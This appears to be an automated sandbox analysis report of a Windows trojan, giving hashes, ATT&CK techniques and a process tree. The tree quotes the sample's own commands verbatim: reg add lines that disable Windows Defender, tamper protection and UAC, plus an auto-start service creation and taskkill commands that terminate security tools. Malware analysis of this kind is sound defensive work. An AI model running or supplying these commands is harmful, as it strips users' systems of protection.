9b7789ae781f2be59eaeb2234070f0cecc85b7fa14a4be599f4ec91539c08c9b

General

Target
GRoupALEst5bariya.exe
Size 766KB
Sample260701-wb2ltacz8x
SHA256 9b7789ae781f2be59eaeb2234070f0cecc85b7fa14a4be599f4ec91539c08c9b
MD5 f917e74a688fec3b5032b37f95a25533
SHA1 0602b3789cf8a83de34535184eaf88a488cfd341
SHA512 a6542777e7f61798076ddde7667436cb9c87d4efafc31850c02b85c4b1f63ae5b977aaf526b03853e7cde12aae2eb810f9ad19f1ffdebfd309dfdb96f6a8d8e8
SSDEEP 12288:11t6zD2an8Nd0MxvnHnFdSHbQFP50j1GEoAl:RUDp8z0Mxz50j1GEoAl
TLSH
T1EAF4168336DB1CFAEE932B3854DB533A6735FE708B6A8B674514D2311D136C1AD2AB40
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion evasion execution persistence trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Disables RegEdit via registry modification 1 IoCs

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-2132828192-1552876075-2324613956-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion
Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\GRoupALEst5bariya.exe"	GRoupALEst5bariya.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2132828192-1552876075-2324613956-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\GRoupALEst5bariya.exe"	GRoupALEst5bariya.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File created	C:\Windows\System32\lsass.exe	GRoupALEst5bariya.exe
File opened for modification	C:\Windows\System32\svchost.exe	GRoupALEst5bariya.exe
File created	C:\Windows\System32\winlogon.exe	GRoupALEst5bariya.exe
File opened for modification	C:\Windows\System32\winlogon.exe	GRoupALEst5bariya.exe
File created	C:\Windows\System32\csrss.exe	GRoupALEst5bariya.exe
File opened for modification	C:\Windows\System32\csrss.exe	GRoupALEst5bariya.exe
File opened for modification	C:\Windows\System32\lsass.exe	GRoupALEst5bariya.exe
File created	C:\Windows\System32\services.exe	GRoupALEst5bariya.exe
File opened for modification	C:\Windows\System32\services.exe	GRoupALEst5bariya.exe
File created	C:\Windows\System32\svchost.exe	GRoupALEst5bariya.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3984	sc.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
2804	taskkill.exe
5884	taskkill.exe
2500	taskkill.exe
3252	taskkill.exe
2376	taskkill.exe
2712	taskkill.exe
3196	taskkill.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3464	GRoupALEst5bariya.exe
Token: SeIncBasePriorityPrivilege	3464	GRoupALEst5bariya.exe
Token: SeDebugPrivilege	3196	taskkill.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 3464 wrote to memory of 480	3464	GRoupALEst5bariya.exe	88
PID 3464 wrote to memory of 2568	3464	GRoupALEst5bariya.exe	90
PID 3464 wrote to memory of 1388	3464	GRoupALEst5bariya.exe	92
PID 3464 wrote to memory of 1092	3464	GRoupALEst5bariya.exe	94
PID 3464 wrote to memory of 3936	3464	GRoupALEst5bariya.exe	96
PID 3464 wrote to memory of 3420	3464	GRoupALEst5bariya.exe	98
PID 3464 wrote to memory of 1572	3464	GRoupALEst5bariya.exe	100
PID 1572 wrote to memory of 3984	1572	cmd.exe	102
PID 3464 wrote to memory of 3196	3464	GRoupALEst5bariya.exe	103
PID 3464 wrote to memory of 2804	3464	GRoupALEst5bariya.exe	106
PID 3464 wrote to memory of 5884	3464	GRoupALEst5bariya.exe	107
PID 3464 wrote to memory of 2376	3464	GRoupALEst5bariya.exe	108
PID 3464 wrote to memory of 3252	3464	GRoupALEst5bariya.exe	109
PID 3464 wrote to memory of 2500	3464	GRoupALEst5bariya.exe	110
PID 3464 wrote to memory of 2712	3464	GRoupALEst5bariya.exe	111

C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe
"C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe"
1⤵
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3464
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  PID:480
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  PID:2568
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:1388
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:1092
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:3936
- C:\Windows\SYSTEM32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:3420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create "SystemUpdate" binPath= "C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe" start= auto 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1572
- - C:\Windows\system32\sc.exe
    sc create "SystemUpdate" binPath= "C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe" start= auto
    3⤵
    - Launches sc.exe
    PID:3984
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3196
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im cmd.exe
  2⤵
  - Kills process with taskkill
  PID:2804
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im powershell.exe
  2⤵
  - Kills process with taskkill
  PID:5884
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im regedit.exe
  2⤵
  - Kills process with taskkill
  PID:2376
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im explorer.exe
  2⤵
  - Kills process with taskkill
  PID:3252
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im msmpeng.exe
  2⤵
  - Kills process with taskkill
  PID:2500
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill /f /im SecurityHealthService.exe
  2⤵
  - Kills process with taskkill
  PID:2712